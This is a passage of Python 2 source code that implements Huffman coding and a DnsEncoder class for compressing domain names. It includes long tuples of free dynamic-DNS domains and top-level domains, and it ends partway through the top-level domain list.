'spelar.se', 'stfu-kthx.net', 'stocktester.ru', 'strangled.net',\n    'stroyexpert.org', 'suka.se', 'sumibi.org', 'surak.kz', 'surfnet.ca',\n    't28.net', 'takeshi.cnt.br', 'technopagans.com', 'thehomeserver.net', 'tru.io',\n    'tuck.tw', 'twilightparadox.com', 'tzafrir.org.il', 'u888.cn', 'ufodns.com',\n    'ugo.si', 'uk.ms', 'uk.to', 'undo.it', 'us.to', 'vankin.de', 'vctel.com',\n    've3.info', 'verymad.net', 'violates.me', 'vxe6.net', 'webs.vc', 'wiki.gd',\n    'wildsurf.net', 'winkel.com.ar', 'womenclothingtoday.com', 'xpresit.net',\n    'xxxxx.tw', 'yngling.com', 'yourspecialtee.com', 'z0d.eu', 'z86.ru',\n    'zanity.net'\n)\n\nDNS_ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789-.'\n\nclass Node(object):\n    __slots__ = (\n        'weight', 'value'\n    )\n\n    def __init__(self, value, weight):\n        self.weight = weight\n        self.value = value\n\n    def __lt__(self, other):\n        if hasattr(other, 'value'):\n            if self.value == IS_END:\n                return False\n\n        return self.weight < other.weight\n\n    def __repr__(self):\n        return '{{N:{}({})}}'.format(self.weight, self.value)\n\n\nclass Root(object):\n    __slots__ = (\n        'weight', 'A', 'B'\n    )\n\n    def __init__(self, A=None, B=None):\n        self.weight = 0\n        if A is not None:\n            self.weight += A.weight\n            self.A = A\n\n        if B is not None:\n            self.weight += B.weight\n            self.B = B\n\n    def __lt__(self, other):\n        return self.weight < other.weight\n\n    def __repr__(self):\n        return '{{R:({}) ({}) ({})}}'.format(self.weight, self.A, self.B)\n\n\nclass Huffman(object):\n    __slots__ = (\n        'encoding_table', 'decoding_tree', 'decoding_table',\n    )\n\n    def __init__(self, decoding_tree=None, decoding_table=None):\n        self.encoding_table = None\n        self.decoding_table = []\n        self.decoding_tree = decoding_tree\n\n        if self.decoding_tree:\n            self._generate_table()\n\n        if decoding_table:\n            self.set_decoding_table(decoding_table)\n\n    def set_decoding_table(self, decoding_table):\n        self.decoding_table = decoding_table\n        self.encoding_table = tuple(\n            (term, value, bitlen) for value, bitlen, term in sorted(\n                self.decoding_table, key=lambda x: len(x[2]), reverse=True\n            )\n        )\n\n    def _generate_table(self):\n        self.encoding_table = {}\n\n        def bitlen(x):\n            i = 0\n            while x:\n                x >>= 1\n                i += 1\n            return i - 1\n\n        def _walk(tree, prefix=1):\n            if type(tree) == tuple:\n                _walk(tree[0], (prefix << 1) | 0)\n                _walk(tree[1], (prefix << 1) | 1)\n            else:\n                b = bitlen(prefix)\n                prefix &= ((1 << b) - 1)\n                self.encoding_table[tree] = (prefix, b)\n                self.decoding_table.append((prefix, b, tree))\n\n        _walk(self.decoding_tree)\n\n        self.decoding_table = sorted(self.decoding_table, key=lambda x: x[1], reverse=True)\n        self.encoding_table = tuple(\n            (\n                term,\n                self.encoding_table[term][0],\n                self.encoding_table[term][1]\n            ) for term in sorted(\n                self.encoding_table,\n                # key=lambda x: len(self.encoding_table[x]),\n                key=lambda x: self.encoding_table[x][1],\n                reverse=True\n            )\n        )\n\n    def encode(self, phrase, last=False):\n        phrase += '\\x00'\n\n        encoded = []\n        remainder = 0\n        remainder_bits = 8\n\n        min_bits = min(\n            bitlen for _, _, bitlen in self.encoding_table\n        )\n\n        while phrase:\n            found = False\n\n            if last and phrase.startswith('\\x00') and remainder_bits < min_bits:\n                break\n\n            for term, value, bitlen in self.encoding_table:\n                if phrase.startswith(term):\n                    found = True\n\n                    while bitlen:\n                        consume_bits = min(bitlen, remainder_bits)\n                        rest_bits = bitlen - consume_bits\n\n                        remainder <<= consume_bits\n                        remainder |= (value >> rest_bits)\n\n                        value &= ((1 << rest_bits) - 1)\n                        bitlen -= consume_bits\n                        remainder_bits -= consume_bits\n\n                        if remainder_bits == 0:\n                            encoded.append(remainder)\n                            remainder = 0\n                            remainder_bits = 8\n\n                    phrase = phrase[len(term):]\n                    break\n\n            if not found:\n                raise ValueError('Not found beginning for ', phrase)\n\n        if remainder_bits:\n            remainder <<= remainder_bits\n            encoded.append(remainder)\n\n        return ''.join(chr(x) for x in encoded)\n\n    def decode(self, values):\n        if not values:\n            return\n\n        decoded = []\n\n        max_bitlen = max(\n            bitlen for _, bitlen, _ in self.decoding_table\n        )\n\n        min_bitlen = min(\n            bitlen for _, bitlen, _ in self.decoding_table\n        )\n\n        current_bits = 0\n        current_bitlen = 0\n\n        completed = False\n\n        while values or current_bitlen:\n            while values and current_bitlen < max_bitlen:\n                current_bits <<= 8\n                current_bits |= ord(values[0])\n                current_bitlen += 8\n                values = values[1:]\n\n            if current_bitlen < min_bitlen:\n                break\n\n            consumed_bitlen = None\n            found = False\n\n            for bits, bitlen, symbol in self.decoding_table:\n                if current_bitlen < bitlen:\n                    continue\n\n                if bitlen == current_bitlen:\n                    to_compare = current_bits\n                else:\n                    to_compare = (current_bits >> (current_bitlen - bitlen)) & ((1 << bitlen) - 1)\n\n                if bits == to_compare:\n                    found = True\n                    consumed_bitlen = bitlen\n\n                    if symbol == '\\x00':\n                        completed = True\n                    else:\n                        decoded.append(symbol)\n\n                    break\n\n            assert(found)\n\n            current_bits &= (1 << (current_bitlen - consumed_bitlen)) - 1\n            current_bitlen -= consumed_bitlen\n\n            if completed:\n                break\n\n        if current_bitlen > 8:\n            values = chr(current_bits & 0xFF) + values\n\n        return ''.join(decoded), values\n\n    def train(self, frequences):\n        import heapq\n\n        queue = []\n\n        for value, frequency in frequences:\n            heapq.heappush(queue, Node(value, frequency))\n\n        A = None\n\n        while True:\n            A = heapq.heappop(queue)\n            try:\n                B = heapq.heappop(queue)\n                heapq.heappush(queue, Root(A, B))\n            except IndexError:\n                break\n\n        encoding_table = {}\n\n        def _make_tree(root, prefix=0):\n            if root is None:\n                return\n\n            elif type(root) == Root:\n                return (\n                    _make_tree(root.A, (prefix << 1) | 0),\n                    _make_tree(root.B, (prefix << 1) | 1)\n                )\n\n            else:\n                encoding_table[root.value] = prefix\n                return root.value\n\n        self.decoding_tree = _make_tree(A)\n        self._generate_table()\n\n\nclass TmpResult(object):\n    __slots__ = (\n        'encoded_tables', 'encoded', 'rest', 'table_id'\n    )\n\n    def __init__(self, encoded_tables, encoded, rest, table_id):\n        self.encoded_tables = encoded_tables\n        self.encoded = encoded\n        self.rest = rest\n        self.table_id = table_id\n\n\nclass DnsEncoder(object):\n    __slots__ = (\n        'tables', 'encoders'\n    )\n\n    TABLE_FREEDNS = 0b00\n    TABLE_TLDS = 0b01\n    TABLE_TERM = 0b10\n    TABLE_GENERIC = 0b11\n\n    # ENCODING:\n    # 3 bits - AMOUNT OF PARTS\n    # [ 2 bits - ID of table ] [ 2 bits - ID of table ] ...\n    # RECORD \\0 RECORD \\0 TLD\n\n    def __init__(self, tables=None):\n\n        if tables is None:\n            from .dns_encoder_table import TREES\n            tables = TREES\n\n        mappings = {\n            'generic': self.TABLE_GENERIC,\n            'tlds': self.TABLE_TLDS,\n            'terms': self.TABLE_TERM\n        }\n\n        self.tables = tables\n        self.encoders = {\n            mappings[table]: Huffman(decoding_table=tables[table]) for table in tables\n            if table in mappings\n        }\n\n    def encode(self, data):\n        data = data.lower()\n\n        def _recursive_encoder(encoded_tables, encoded, rest):\n            if not rest:\n                return encoded_tables, encoded\n\n            elif len(rest) == 1:\n                try:\n                    this_encoded = self.encoders[self.TABLE_TLDS].encode(rest[0], last=True)\n                    return encoded_tables, encoded + this_encoded\n\n                except ValueError:\n                    pass\n\n            results = []\n\n            generic_encoded_tables = list(encoded_tables)\n            generic_encoded_tables.append(self.TABLE_GENERIC)\n\n            for merged_parts in xrange(2, len(rest)+1):\n                joined_rest = '.'.join(rest[:merged_parts])\n                not_joined_rest = rest[merged_parts:]\n\n                generic_encoded_tables, generic_encoded = _recursive_encoder(\n                    generic_encoded_tables, encoded + self.encoders[self.TABLE_GENERIC].encode(\n                        joined_rest, last=not bool(not_joined_rest)), not_joined_rest)\n\n                results.append(TmpResult(\n                    generic_encoded_tables, generic_encoded, not_joined_rest, self.TABLE_GENERIC))\n\n            word = rest[0]\n            joined_rest = '.'.join(rest)\n\n            for idx, domain in enumerate(FREEDNS):\n                if word == domain:\n                    this_encoded_tables = list(encoded_tables)\n                    this_encoded_tables.append(self.TABLE_FREEDNS)\n                    this_encoded_tables, this_encoded = _recursive_encoder(\n                        this_encoded_tables, encoded + chr(idx), rest[1:]\n                    )\n                    results.append(TmpResult(\n                        this_encoded_tables, this_encoded, rest[1:], self.TABLE_FREEDNS))\n                    break\n\n                elif joined_rest == domain:\n                    this_encoded_tables = list(encoded_tables)\n                    this_encoded_tables.append(self.TABLE_FREEDNS)\n                    this_encoded_tables, this_encoded = _recursive_encoder(\n                        this_encoded_tables, encoded + chr(idx), []\n                    )\n                    results.append(TmpResult(\n                        this_encoded_tables, this_encoded, [], self.TABLE_FREEDNS))\n                    break\n\n            for encoder in self.encoders:\n                this_encoded_tables = list(encoded_tables)\n                this_encoded_tables.append(encoder)\n                try:\n                    this_rest = rest[1:]\n                    this_encoded_tables, this_encoded = _recursive_encoder(\n                        this_encoded_tables, encoded + self.encoders[encoder].encode(\n                            word, last=not bool(this_rest)), this_rest)\n                except ValueError:\n                    # Not possible, retry\n                    continue\n\n                results.append(TmpResult(\n                    this_encoded_tables, this_encoded, rest[1:], encoder))\n\n            best = sorted(results, key=lambda x: len(x.encoded))[0]\n            return best.encoded_tables, best.encoded\n\n        rest = data.rsplit('.', 3)\n        tables, data = _recursive_encoder([], '', rest)\n\n        tables_map = 0b0\n        for table in tables:\n            tables_map <<= 2\n            tables_map |= table\n        tables_map |= len(tables) << 6\n        return chr(tables_map) + data\n\n    def decode(self, data):\n        tables_map_encoded = ord(data[0])\n        encoded = data[1:]\n        decoded = []\n        tables = []\n        tables_cnt = (tables_map_encoded >> 6) & 0b11\n\n        for idx in xrange(tables_cnt):\n            tables.insert(0, (tables_map_encoded >> (idx * 2)) & 0b11)\n\n        for table in tables:\n            decoded_part, encoded = self.encoders[table].decode(encoded)\n            decoded.append(decoded_part)\n\n        if encoded:\n            decoded_part, encoded = self.encoders[self.TABLE_TLDS].decode(encoded)\n            decoded.append(decoded_part)\n\n        return '.'.join(decoded), encoded\n\n\nif __name__ == '__main__':\n    import zstd\n    import sys\n    import io\n\n    TLDS = (\n        'aaa', 'aarp', 'abarth', 'abb', 'abbott', 'abbvie', 'abc', 'able', 'abogado',\n        'abudhabi', 'ac', 'academy', 'accenture', 'accountant', 'accountants', 'aco',\n        'actor', 'ad', 'adac', 'ads', 'adult', 'ae', 'aeg', 'aero', 'aetna', 'af',\n        'afamilycompany', 'afl', 'africa', 'ag', 'agakhan', 'agency', 'ai', 'aig',\n        'aigo', 'airbus', 'airforce', 'airtel', 'akdn', 'al', 'alfaromeo', 'alibaba',\n        'alipay', 'allfinanz', 'allstate', 'ally', 'alsace', 'alstom', 'am',\n        'americanexpress', 'americanfamily', 'amex', 'amfam', 'amica', 'amsterdam',\n        'analytics', 'android', 'anquan', 'anz', 'ao', 'aol', 'apartments', 'app',\n        'apple', 'aq', 'aquarelle', 'ar', 'arab', 'aramco', 'archi', 'army', 'arpa',\n        'art', 'arte', 'as', 'asda', 'asia', 'associates', 'at', 'athleta', 'attorney',\n        'au', 'auction', 'audi', 'audible', 'audio', 'auspost', 'author', 'auto',\n        'autos', 'avianca', 'aw', 'aws', 'ax', 'axa', 'az', 'azure', 'ba', 'baby',\n        'baidu', 'banamex', 'bananarepublic', 'band', 'bank', 'bar', 'barcelona',\n        'barclaycard', 'barclays', 'barefoot', 'bargains', 'baseball', 'basketball',\n        'bauhaus', 'bayern', 'bb', 'bbc', 'bbt', 'bbva', 'bcg', 'bcn', 'bd', 'be',\n        'beats', 'beauty', 'beer', 'bentley', 'berlin', 'best', 'bestbuy', 'bet', 'bf',\n        'bg', 'bh', 'bharti', 'bi', 'bible', 'bid', 'bike', 'bing', 'bingo', 'bio',\n        'biz', 'bj', 'black', 'blackfriday', 'blockbuster', 'blog', 'bloomberg',\n        'blue', 'bm', 'bms', 'bmw', 'bn', 'bnl', 'bnpparibas', 'bo', 'boats',\n        'boehringer', 'bofa', 'bom', 'bond', 'boo', 'book', 'booking', 'bosch',\n        'bostik', 'boston', 'bot', 'boutique', 'box', 'br', 'bradesco', 'bridgestone',\n        'broadway', 'broker', 'brother', 'brussels', 'bs', 'bt', 'budapest', 'bugatti',\n        'build', 'builders', 'business', 'buy', 'buzz', 'bv', 'bw', 'by', 'bz', 'bzh',\n        'ca', 'cab', 'cafe', 'cal', 'call', 'calvinklein', 'cam', 'camera', 'camp',\n        'cancerresearch', 'canon', 'capetown', 'capital', 'capitalone', 'car',\n        'caravan', 'cards', 'care', 'career', 'careers', 'cars', 'cartier', 'casa',\n        'case', 'caseih', 'cash', 'casino', 'cat', 'catering', 'catholic', 'cba',\n        'cbn', 'cbre', 'cbs', 'cc', 'cd', 'ceb', 'center', 'ceo', 'cern', 'cf', 'cfa',\n        'cfd', 'cg', 'ch', 'chanel', 'channel', 'charity', 'chase', 'chat', 'cheap',\n        'chintai', 'christmas', 'chrome', 'chrysler', 'church', 'ci', 'cipriani',\n        'circle', 'cisco', 'citadel', 'citi', 'citic', 'city', 'cityeats', 'ck', 'cl',\n        'claims', 'cleaning', 'click', 'clinic', 'clinique', 'clothing', 'cloud',\n        'club', 'clubmed', 'cm', 'cn', 'co', 'coach', 'codes', 'coffee', 'college',\n        'cologne', 'com', 'comcast', 'commbank', 'community', 'company', 'compare',\n        'computer', 'comsec', 'condos', 'construction', 'consulting', 'contact',\n        'contractors', 'cooking', 'cookingchannel', 'cool', 'coop', 'corsica',\n        'country', 'coupon', 'coupons', 'courses', 'cr', 'credit', 'creditcard',\n        'creditunion', 'cricket', 'crown', 'crs', 'cruise', 'cruises', 'csc', 'cu',\n        'cuisinella', 'cv', 'cw', 'cx', 'cy', 'cymru', 'cyou', 'cz', 'dabur', 'dad',\n        'dance', 'data', 'date', 'dating', 'datsun', 'day', 'dclk', 'dds', 'de',\n        'deal', 'dealer', 'deals', 'degree', 'delivery', 'dell', 'deloitte', 'delta',\n        'democrat', 'dental', 'dentist', 'desi', 'design', 'dev', 'dhl', 'diamonds',\n        'diet', 'digital', 'direct', 'directory', 'discount', 'discover', 'dish',\n        'diy', 'dj', 'dk', 'dm', 'dnp', 'do', 'docs', 'doctor', 'dodge', 'dog',\n        'domains', 'dot', 'download', 'drive', 'dtv', 'dubai', 'duck', 'dunlop',\n        'duns', 'dupont', 'durban', 'dvag', 'dvr', 'dz', 'earth', 'eat', 'ec', 'eco',\n        'edeka', 'edu', 'education', 'ee', 'eg', 'email', 'emerck', 'energy',\n        'engineer', 'engineering', 'enterprises', 'epson', 'equipment', 'er',\n        'ericsson', 'erni', 'es', 'esq', 'estate', 'esurance', 'et', 'etisalat', 'eu',\n        'eurovision', 'eus', 'events', 'everbank', 'exchange', 'expert', 'exposed',\n        'express', 'extraspace', 'fage', 'fail', 'fairwinds', 'faith', 'family', 'fan',\n        'fans', 'farm', 'farmers', 'fashion', 'fast', 'fedex', 'feedback', 'ferrari',\n        'ferrero', 'fi', 'fiat', 'fidelity', 'fido', 'film', 'final', 'finance',\n        'financial', 'fire', 'firestone', 'firmdale', 'fish', 'fishing', 'fit',\n        'fitness', 'fj', 'fk', 'flickr', 'flights', 'flir', 'florist', 'flowers',\n        'fly', 'fm', 'fo', 'foo', 'food', 'foodnetwork', 'football', 'ford', 'forex',\n        'forsale', 'forum', 'foundation', 'fox', 'fr', 'free', 'fresenius', 'frl',\n        'frogans', 'frontdoor', 'frontier', 'ftr', 'fujitsu', 'fujixerox', 'fun',\n        'fund', 'furniture', 'futbol', 'fyi', 'ga', 'gal', 'gallery', 'gallo',\n        'gallup', 'game', 'games', 'gap', 'garden', 'gb', 'gbiz', 'gd', 'gdn', 'ge',\n        'gea', 'gent', 'genting', 'george', 'gf', 'gg', 'ggee', 'gh', 'gi', 'gift',\n        'gifts', 'gives', 'giving', 'gl', 'glade', 'glass', 'gle', 'global', 'globo',\n        'gm', 'gmail', 'gmbh', 'gmo', 'gmx', 'gn', 'godaddy', 'gold', 'goldpoint',\n        'golf', 'goo', 'goodyear', 'goog', 'google', 'gop', 'got', 'gov', 'gp', 'gq',\n        'gr', 'grainger', 'graphics', 'gratis', 'green', 'gripe', 'grocery', 'group',\n        'gs', 'gt', 'gu', 'guardian', 'gucci', 'guge', 'guide', 'guitars', 'guru',\n        'gw', 'gy', 'hair', 'hamburg', 'hangout', 'haus', 'hbo', 'hdfc', 'hdfcbank',\n        'health', 'healthcare', 'help', 'helsinki', 'here', 'hermes', 'hgtv', 'hiphop',\n        'hisamitsu', 'hitachi', 'hiv', 'hk', 'hkt', 'hm', 'hn', 'hockey', 'holdings',\n        'holiday', 'homedepot', 'homegoods', 'homes', 'homesense', 'honda',\n        'honeywell', 'horse', 'hospital', 'host', 'hosting', 'hot', 'hoteles',\n        'hotels', 'hotmail', 'house', 'how', 'hr', 'hsbc', 'ht', 'hu', 'hughes',\n        'hyatt', 'hyundai', 'ibm', 'icbc', 'ice', 'icu', 'id', 'ie', 'ieee', 'ifm',\n        'ikano', 'il', 'im', 'imamat', 'imdb', 'immo', 'immobilien', 'in', 'inc',\n        'industries', 'infiniti', 'info', 'ing', 'ink', 'institute', 'insurance',\n        'insure', 'int', 'intel', 'international', 'intuit', 'investments', 'io',\n        'ipiranga', 'iq', 'ir', 'irish', 'is', 'iselect', 'ismaili', 'ist', 'istanbul',\n        'it', 'itau', 'itv', 'iveco', 'jaguar', 'java', 'jcb', 'jcp', 'je', 'jeep',\n        'jetzt', 'jewelry', 'jio', 'jll', 'jm', 'jmp', 'jnj', 'jo', 'jobs', 'joburg',\n        'jot', 'joy', 'jp', 'jpmorgan', 'jprs', 'juegos', 'juniper', 'kaufen', 'kddi',\n        'ke', 'kerryhotels', 'kerrylogistics', 'kerryproperties', 'kfh', 'kg', 'kh',\n        'ki', 'kia', 'kim', 'kinder', 'kindle', 'kitchen', 'kiwi', 'km', 'kn', 'koeln',\n        'komatsu', 'kosher', 'kp', 'kpmg', 'kpn', 'kr', 'krd', 'kred', 'kuokgroup',\n        'kw', 'ky', 'kyoto', 'kz', 'la', 'lacaixa', 'ladbrokes', 'lamborghini',\n        'lamer', 'lancaster', 'lancia', 'lancome', 'land', 'landrover', 'lanxess',\n        'lasalle', 'lat', 'latino', 'latrobe', 'law', 'lawyer', 'lb', 'lc', 'lds',\n        'lease', 'leclerc', 'lefrak', 'legal', 'lego', 'lexus', 'lgbt', 'li',\n        'liaison', 'lidl', 'life', 'lifeinsurance', 'lifestyle', 'lighting', 'like',\n        'lilly', 'limited', 'limo', 'lincoln', 'linde', 'link', 'lipsy', 'live',\n        'living', 'lixil', 'lk', 'llc', 'loan', 'loans', 'locker', 'locus', 'loft',\n        'lol', 'london', 'lotte', 'lotto', 'love', 'lpl', 'lplfinancial', 'lr', 'ls',\n        'lt', 'ltd', 'ltda', 'lu', 'lundbeck', 'lupin', 'luxe', 'luxury', 'lv', 'ly',\n        'ma', 'macys', 'madrid', 'maif', 'maison', 'makeup', 'man', 'management',\n        'mango', 'map', 'market', 'marketing', 'markets', 'marriott', 'marshalls',\n        'maserati', 'mattel', 'mba', 'mc', 'mckinsey', 'md', 'me', 'med', 'media',\n        'meet', 'melbourne', 'meme', 'memorial', 'men', 'menu', 'merckmsd', 'metlife',\n        'mg', 'mh', 'miami', 'microsoft', 'mil', 'mini', 'mint', 'mit', 'mitsubishi',\n        'mk', 'ml', 'mlb', 'mls', 'mm', 'mma', 'mn', 'mo', 'mobi', 'mobile', 'mobily',\n        'moda', 'moe', 'moi', 'mom', 'monash', 'money', 'monster', 'mopar', 'mormon',\n        'mortgage', 'moscow', 'moto', 'motorcycles', 'mov', 'movie', 'movistar', 'mp',\n        'mq', 'mr', 'ms', 'msd', 'mt', 'mtn', 'mtr', 'mu', 'museum', 'mutual', 'mv',\n        'mw', 'mx', 'my', 'mz', 'na', 'nab', 'nadex', 'nagoya', 'name', 'nationwide',\n        'natura', 'navy', 'nba', 'nc', 'ne', 'nec', 'net', 'netbank', 'netflix',\n        'network', 'neustar', 'new', 'newholland', 'news', 'next', 'nextdirect',\n        'nexus', 'nf', 'nfl', 'ng', 'ngo', 'nhk', 'ni', 'nico', 'nike', 'nikon',\n        'ninja', 'nissan', 'nissay', 'nl', 'no', 'nokia', 'northwesternmutual',\n        'norton', 'now', 'nowruz', 'nowtv', 'np', 'nr', 'nra', 'nrw', 'ntt', 'nu',\n        'nyc', 'nz', 'obi', 'observer', 'off', 'office', 'okinawa', 'olayan',\n        'olayangroup', 'oldnavy', 'ollo', 'om', 'omega', 'one', 'ong', 'onl', 'online',\n        'onyourside', 'ooo', 'open', 'oracle', 'orange', 'org', 'organic', 'origins',\n        'osaka', 'otsuka', 'ott', 'ovh', 'pa', 'page', 'panasonic', 'paris', 'pars',\n        'partners', 'parts', 'party', 'passagens', 'pay', 'pccw', 'pe', 'pet', 'pf',\n        'pfizer', 'pg', 'ph', 'pharmacy', 'phd', 'philips', 'phone', 'photo',\n        'photography', 'photos', 'physio', 'piaget', 'pics', 'pictet', 'pictures',\n        'pid', 'pin', 'ping', 'pink', 'pioneer', 'pizza', 'pk', 'pl', 'place', 'play',\n        'playstation', 'plumbing', 'plus', 'pm', 'pn', 'pnc', 'pohl', 'poker',\n        'politie', 'porn', 'post', 'pr', 'pramerica', 'praxi', 'press', 'prime', 'pro',\n        'prod', 'productions', 'prof', 'progressive', 'promo', 'properties',\n        'property', 'protection', 'pru', 'prudential', 'ps', 'pt', 'pub', 'pw', 'pwc',\n        'py', 'qa', 'qpon', 'quebec', 'quest', 'qvc', 'racing', 'radio', 'raid', 're',\n        'read', 'realestate', 'realtor', 'realty', 'recipes', 'red', 'redstone',\n        'redumbrella', 'rehab', 'reise', 'reisen', 'reit', 'reliance', 'ren', 'rent',\n        'rentals', 'repair', 'report', 'republican', 'rest', 'restaurant', 'review',\n        'reviews', 'rexroth', 'rich', 'richardli', 'ricoh', 'rightathome', 'ril',\n        'rio', 'rip', 'rmit', 'ro', 'rocher', 'rocks', 'rodeo', 'rogers', 'room', 'rs',\n        'rsvp', 'ru', 'rugby', 'ruhr', 'run', 'rw', 'rwe', 'ryukyu', 'sa', 'saarland',\n        'safe', 'safety', 'sakura', 'sale', 'salon', 'samsclub', 'samsung', 'sandvik',\n        'sandvikcoromant', 'sanofi', 'sap', 'sarl', 'sas', 'save', 'saxo', 'sb', 'sbi',\n        'sbs', 'sc', 'sca', 'scb', 'schaeffler', 'schmidt', 'scholarships', 'school',\n        'schule', 'schwarz', 'science', 'scjohnson', 'scor', 'scot', 'sd', 'se',\n        'search', 'seat', 'secure', 'security', 'seek', 'select', 'sener', 'services',\n        'ses', 'seven', 'sew', 'sex', 'sexy', 'sfr', 'sg', 'sh', 'shangrila', 'sharp',\n        'shaw', 'shell', 'shia', 'shiksha', 'shoes', 'shop', 'shopping', 'shouji',\n        'show', 'showtime', 'shriram', 'si', 'silk', 'sina', 'singles', 'site', 'sj',\n        'sk', 'ski', 'skin', 'sky', 'skype', 'sl', 'sling', 'sm', 'smart', 'smile',\n        'sn', 'sncf', 'so', 'soccer', 'social', 'softbank', 'software', 'sohu',\n        'solar', 'solutions', 'song', 'sony', 'soy', 'space', 'sport', 'spot',\n        'spreadbetting', 'sr', 'srl', 'srt', 'ss', 'st', 'stada', 'staples', 'star',\n        'starhub', 'statebank', 'statefarm', 'stc', 'stcgroup', 'stockholm', 'storage',\n        'store', 'stream', 'studio', 'study', 'style', 'su', 'sucks', 'supplies',\n        'supply', 'support', 'surf', 'surgery', 'suzuki', 'sv', 'swatch', 'swiftcover',\n        'swiss', 'sx', 'sy', 'sydney', 'symantec', 'systems', 'sz', 'tab', 'taipei',\n        'talk', 'taobao', 'target', 'tatamotors', 'tatar', 'tattoo', 'tax', 'taxi',\n        'tc', 'tci', 'td', 'tdk', 'team', 'tech', 'technology', 'tel', 'telefonica',\n        'temasek', 'tennis', 'teva', 'tf', 'tg', 'th', 'thd', 'theater', 'theatre',\n        'tiaa', 'tickets', 'tienda', 'tiffany', 'tips', 'tires', 'tirol', 'tj',\n        'tjmaxx', 'tjx', 'tk', 'tkmaxx', 'tl', 'tm', 'tmall', 'tn', 'to', 'today',\n        'tokyo', 'tools', 'top', 'toray', 'toshiba', 'total', 'tours', 'town',\n        'toyota', 'toys', 'tr', 'trade', 'trading', 'training', 'travel',\n        'travelchannel', 'travelers', 'travelersinsurance', 'trust', 'trv', 'tt',\n        'tube', 'tui', 'tunes', 'tushu', 'tv', 'tvs', 'tw', 'tz', 'ua', 'ubank', 'ubs',\n        'uconnect', 'ug', 'uk', 'unicom', 'university', 'uno', 'uol', 'ups', 'us',\n        'uy', 'uz', 'va', 'vacations', 'vana', 'vanguard', 'vc', 've', 'vegas',\n        'ventures', 'verisign', 'versicherung', 'vet', 'vg', 'vi', 'viajes', 'video',\n        'vig', 'viking', 'villas', 'vin', 'vip', 'virgin', 'visa', 'vision',\n        'vistaprint', 'viva', 'vivo', 'vlaanderen', 'vn', 'vodka', 'volkswagen',\n        'volvo', 'vote', 'voting', 'voto', 'voyage', 'vu', 'vuelos', 'wales',\n        'walmart', 'walter', 'wang', 'wanggou', 'warman', 'watch', 'watches',\n        'weather', 'weatherchannel', 'webcam', 'weber', 'website', 'wed', 'wedding',\n        'weibo', 'weir', 'wf', 'whoswho', 'wien', 'wiki', 'williamhill', 'win',\n        'windows', 'wine', 'winners', 'wme', 'wolterskluwer', 'woodside', 'work',\n        'works', 'world', 'wow', 'ws', 'wtc', 'wtf', 'xbox', 'xerox', 'xfinity',\n        'xihuan', 'xin', 'xn--11b4c3d', 'xn--1ck2e1b', 'xn--1qqw23a', 'xn--2scrj9c',\n        'xn--30rr7y', 'xn--3bst00m', 'xn--3ds443g', 'xn--3e0b707e', 'xn--3hcrj9c',\n        'xn--3oq18vl8pn36a', 'xn--3pxu8k', 'xn--42c2d9a', 'xn--45br5cyl',\n        'xn--45brj9c', 'xn--45q11c', 'xn--4gbrim', 'xn--54b7fta0cc', 'xn--55qw42g',\n        'xn--55qx5d', 'xn--5su34j936bgsg', 'xn--5tzm5g', 'xn--6frz82g',\n        'xn--6qq986b3xl', 'xn--80adxhks', 'xn--80ao21a', 'xn--80aqecdr1a',\n        'xn--80asehdb', 'xn--80aswg', 'xn--8y0a063a', 'xn--90a3ac', 'xn--90ae',\n        'xn--90ais', 'xn--9dbq2a', 'xn--9et52u', 'xn--9krt00a', 'xn--b4w605ferd',\n        'xn--bck1b9a5dre4c', 'xn--c1avg', 'xn--c2br7g', 'xn--cck2b3b', 'xn--cg4bki',\n        'xn--clchc0ea0b2g2a9gcd', 'xn--czr694b', 'xn--czrs0t', 'xn--czru2d',\n        'xn--d1acj3b', 'xn--d1alf', 'xn--e1a4c', 'xn--eckvdtc9d', 'xn--efvy88h',\n        'xn--estv75g', 'xn--fct429k', 'xn--fhbei', 'xn--fiq228c5hs', 'xn--fiq64b',\n        'xn--fiqs8s', 'xn--fiqz9s', 'xn--fjq720a', 'xn--flw351e', 'xn--fpcrj9c3d',\n        'xn--fzc2c9e2c', 'xn--fzys8d69uvgm', 'xn--g2xx48c', 'xn--gckr3f0f',\n        'xn--gecrj9c', 'xn--gk3at1e', 'xn--h2breg3eve', 'xn--h2brj9c', 'xn--h2brj9c8c',\n        'xn--hxt814e', 'xn--i1b6b1a6a2e', 'xn--imr513n', 'xn--io0a7i', 'xn--j1aef',\n        'xn--j1amh', 'xn--j6w193g', 'xn--jlq61u9w7b', 'xn--jvr189m', 'xn--kcrx77d1x4a',\n        'xn--kprw13d', 'xn--kpry57d', 'xn--kpu716f', 'xn--kput3i', 'xn--l1acc',\n        'xn--lgbbat1ad8j', 'xn--mgb9awbf', 'xn--mgba3a3ejt', 'xn--mgba3a4f16a',\n        'xn--mgba7c0bbn0a', 'xn--mgbaakc7dvf', 'xn--mgbaam7a8h', 'xn--mgbab2bd',\n        'xn--mgbah1a3hjkrd', 'xn--mgbai9azgqp6j', 'xn--mgbayh7gpa', 'xn--mgbb9fbpob',\n        'xn--mgbbh1a', 'xn--mgbbh1a71e', 'xn--mgbc0a9azcg', 'xn--mgbca7dzdo',\n        'xn--mgberp4a5d4ar', 'xn--mgbgu82a', 'xn--mgbi4ecexp', 'xn--mgbpl2fh',\n        'xn--mgbt3dhd', 'xn--mgbtx2b', 'xn--mgbx4cd0ab', 'xn--mix891f', 'xn--mk1bu44c',\n        'xn--mxtq1m', 'xn--ngbc5azd', 'xn--ngbe9e0a', 'xn--ngbrx', 'xn--node',\n        'xn--nqv7f', 'xn--nqv7fs00ema', 'xn--nyqy26a', 'xn--o3cw4h', 'xn--ogbpf8fl',\n        'xn--otu796d', 'xn--p1acf', 'xn--p1ai', 'xn--pbt977c', 'xn--pgbs0dh',\n        'xn--pssy2u', 'xn--q9jyb4c', 'xn--qcka1pmc', 'xn--qxam', 'xn--rhqv96g',\n        'xn--rovu88b', 'xn--rvc1e0am3e', 'xn--s9brj9c', 'xn--ses554g', 'xn--t60b56a',\n        'xn--tckwe', 'xn--tiq49xqyj', 'xn--unup4y', 'xn--vermgensberater-ctb',\n        'xn--vermgensberatung-pwb', 'xn--vhquv', 'xn--vuq861b', 'xn--w4r85el8fhu5dnra',\n        'xn--w4rs40l', 'xn--wgbh1c', 'xn--wgbl6a', 'xn--xhq521b', 'xn--xkc2al3hye2a',\n        'xn--xkc2dl3a5ee0h', 'xn--y9a3aq', 'xn--yfro4i67o', 'xn--ygbi2ammx',\n        'xn--zfr164b', 'xxx', 'xyz', 'yachts', 'yahoo', 'yamaxun', 'yandex', 'ye',\n        'yodobashi', 'yoga', 